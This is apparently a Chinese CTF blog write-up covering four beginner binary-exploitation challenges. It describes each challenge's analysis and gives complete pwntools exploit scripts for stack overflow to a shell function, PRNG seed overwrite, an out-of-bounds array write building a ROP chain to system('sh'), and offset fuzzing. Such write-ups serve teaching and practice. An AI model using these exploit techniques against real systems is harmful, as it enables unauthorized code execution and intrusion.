反应釜开关控制
这个题呢,从题目描述可以看出来他是一个函数套函数的题
下载附件,咱们开始分析
可以看到是 64 位程序,只开了 NX ,并且可以发现他只有一个输入点
好的,掏出 IDA 我们开始刚,首先shift+f12 我们先看一下字符串,
阔以很明显发现有 system 和 /bin/sh
点进去后可以发现他就是获取 shell 的一个函数,那刚刚好,所以我们要做的就是让程序最终执行到这儿就行了
我们再来看看他的主函数
嗯......有一个gets,好了,还看啥呀,直接栈溢出就好
from pwn import *
#r = remote("")
r = process("./123")
shell = 0x4005F6
payload = 'a'*(0x200+8) + p64(shell)
r.sendline(payload)
r.interactive()
效果如下
很简单的一道栈溢出题
dice_game
继续先看一下保护措施和运行一下程序
可以看到是的程序除了 canary 没开以外啥都开了,很难受,运行一下可以发现这是一个猜数字的游戏
基本信息搜集完成,我们用IDA打开看看
在字符串窗口里我们可以发现一个有意思的字符 “flag”
一路跟过去可以发现有一个函数,它可以直接打印 flag 信息,那我们要做的就是让程序执行到这儿,继续往上跟可以发现只要可以完成 50 次成功的猜数游戏就可以拿到 flag
接下来我们来分析程序内容
程序总的来说是由两个输入点:一个是程序刚开始输入的 name , 一个是猜数游戏时输入的数字
我们查看一下函数栈,发现 name 可以覆盖到 seed 种子,那只要我们把种子覆盖了,就相当于后面的猜数我们都知道了
from pwn import *
from ctypes import *
context.log_level="info"
r = remote('220.249.52.133', 32823)
#r = process("./dice_game")
libc = cdll.LoadLibrary("libc.so.6")
r.recvuntil("Welcome, let me know your name: ")
payload = 'a'*0x40 + p64(0)
r.sendline(payload)
libc.srand(0)
for i in range(1, 51):
r.recvuntil("Give me the point(1~6): ")
r.sendline(str(libc.rand()%6+1))
r.interactive()
结果演示:
stack2
哈,我又回来了
在借助了诸多wp后终于把这道题弄明白了,记录一下
32位程序,有NX,有Canary。
运行可以发现它可以创建一个存储数字的数组,创建好以后我们可以对其中的数据进行一些基本的操作,ok,接下来开始硬刚IDA
通过观察main函数伪代码我们可以发现上图这个位置有点小问题
这个时对数据进行修改的部分的代码,但可以发现他并没有对v5这个变量进行审查。这代表着什么呢,这代表着我们可以修改数组以及数组后面的任何数据。
ok,接下来来思考如何利用这个点
在左侧的函数栏里我们可以发现一个有意思的函数名“hackhere”,点进去后可以发现里面有我们需要的system(“/bin/sh”),那么思路就很清晰了,我们只要找到一个可以利用的函数,将它的返回值改成我们需要去的地方就行了
纵观全文可以发现能利用的也就main函数了,利用位置也就是上面我们发现有小问题的哪儿。
可以发现那一处是更改数组中元素的值,那么,如果要更改返回位置的话我们就要去计算main函数返回位置距离数组的偏移是多少了。
整个题的难点在我看来就是这儿了,不知道其他师傅怎么弄的,我是费了好半天功夫了(感谢那些写wp的师傅们,辛苦了)...
以下借助faceless师傅的思路和过程
因为程序在一开始会给数组赋初值,并且这个过程是我们可以参与的。
考虑到一般的数组赋值会从首位开始,我们可以猜想,如果我们知道我们写入程序的第一个数据的存储位置是否我们就知道了数组的首地址?
那么首先,我们来求这个地址
程序一开始会给数组赋值,我们来看一下这一块的伪代码和汇编
从汇编中可以看到程序通过scanf将数据存储到栈中,然后通过eax和ecx将数据存储到eax中存放的地址中去(cl是ecx的低位)
那意味着在程序运行到0x080486D5的位置时,此时eax中存放的即时数组的首地址
linux下我们用gdb调试的看一下
我们在0x080486D5的位置下个断点,输入点全部输入1(如下)
我们来看看此时的各寄存器
可以看到此时寄存器ecx中就是我们输入的1,而eax中的地址是0xffffd5b8
我们来验证一下看看我们做的对不对,分别看看这步前后栈中数据的变化
可以看到d5b8的位置数据由0x000000e0变成了0x00000001,说明我们找的没问题,ok,数组首地址找到了。
接下来的问题就是如何去找函数的返回地址了,这个就简单的多了,我们知道当函数运行到return语句的时候,栈顶一定是返回地址。
继续用gdb调试
通过esp我们知道这个值是0xffffd63c,和首地址做差是0x84
ok,接下来就可以写exp了,通过其他师傅的wp和测试可以知道环境中是没有 /bin/sh 的,无伤大雅,我们利用它中间的sh就行,然后rop
from pwn import *
#context.log_level = 'debug'
r = remote("111.198.29.45", 54649)
#r = process("./stack2")
r.recvuntil("How many numbers you have:\n")
r.sendline("1")
r.recvuntil("Give me your numbers\n")
r.sendline("1")
def change(addr, num):
r.recvuntil("5. exit\n")
r.sendline("3")
r.recvuntil("which number to change:\n")
r.sendline(str(addr))
r.recvuntil("new number:\n")
r.sendline(str(num))
change(0x84, 0x50)
change(0x85, 0x84)
change(0x86, 0x04)
change(0x87, 0x08)
change(0x8c, 0x87)
change(0x8d, 0x89)
change(0x8e, 0x04)
change(0x8f, 0x08)
r.sendline("5")
r.interactive()
看看效果
ok完结,有不清楚的可以留言讨论
warmup-->
这是一个没有附件的题,看起来题目是要求我们fuzz了
nc连接上后可以发现有个输入点,并且还给了我们一个十六进制数,看起来是个地址
- EXP
那首先根据这些我们可以先将fuzz函数写出来,分三种情况(不用他给的地址,用p32发送,用p64送)
def fuzz(r, num, flag):
payload = 'a' * num
if flag==1:
payload += p32(addr)
if flag==2:
payload += p64(addr)
r.recvuntil(">")
r.sendline(payload)
接着就可以写exp了
from pwn import *
#context.log_level = 'debug'
addr = 0x40060d
def fuzz(r, num, flag):
payload = 'a' * num
if flag==1:
payload += p32(addr)
if flag==2:
payload += p64(addr)
r.recvuntil(">")
r.sendline(payload)
def main():
for i in range(1000):
print(i)
for j in range(3):
try:
r = remote("111.198.29.45", 46588)
fuzz(r, i, j)
text = r.recv()
print('text.len='+str(len(text))+'text='+text)
print('num='+str(i)+' flag='+str(j))
r.interactive()
except:
r.close()
if __name__ == '__main__':
main()
结果如下
可以看到当num等于72,flag等于2,也就是说将题目所给的地址以p64发送的时候会直接返回我们需要的答案
完成,简单的fuzz
Q.E.D.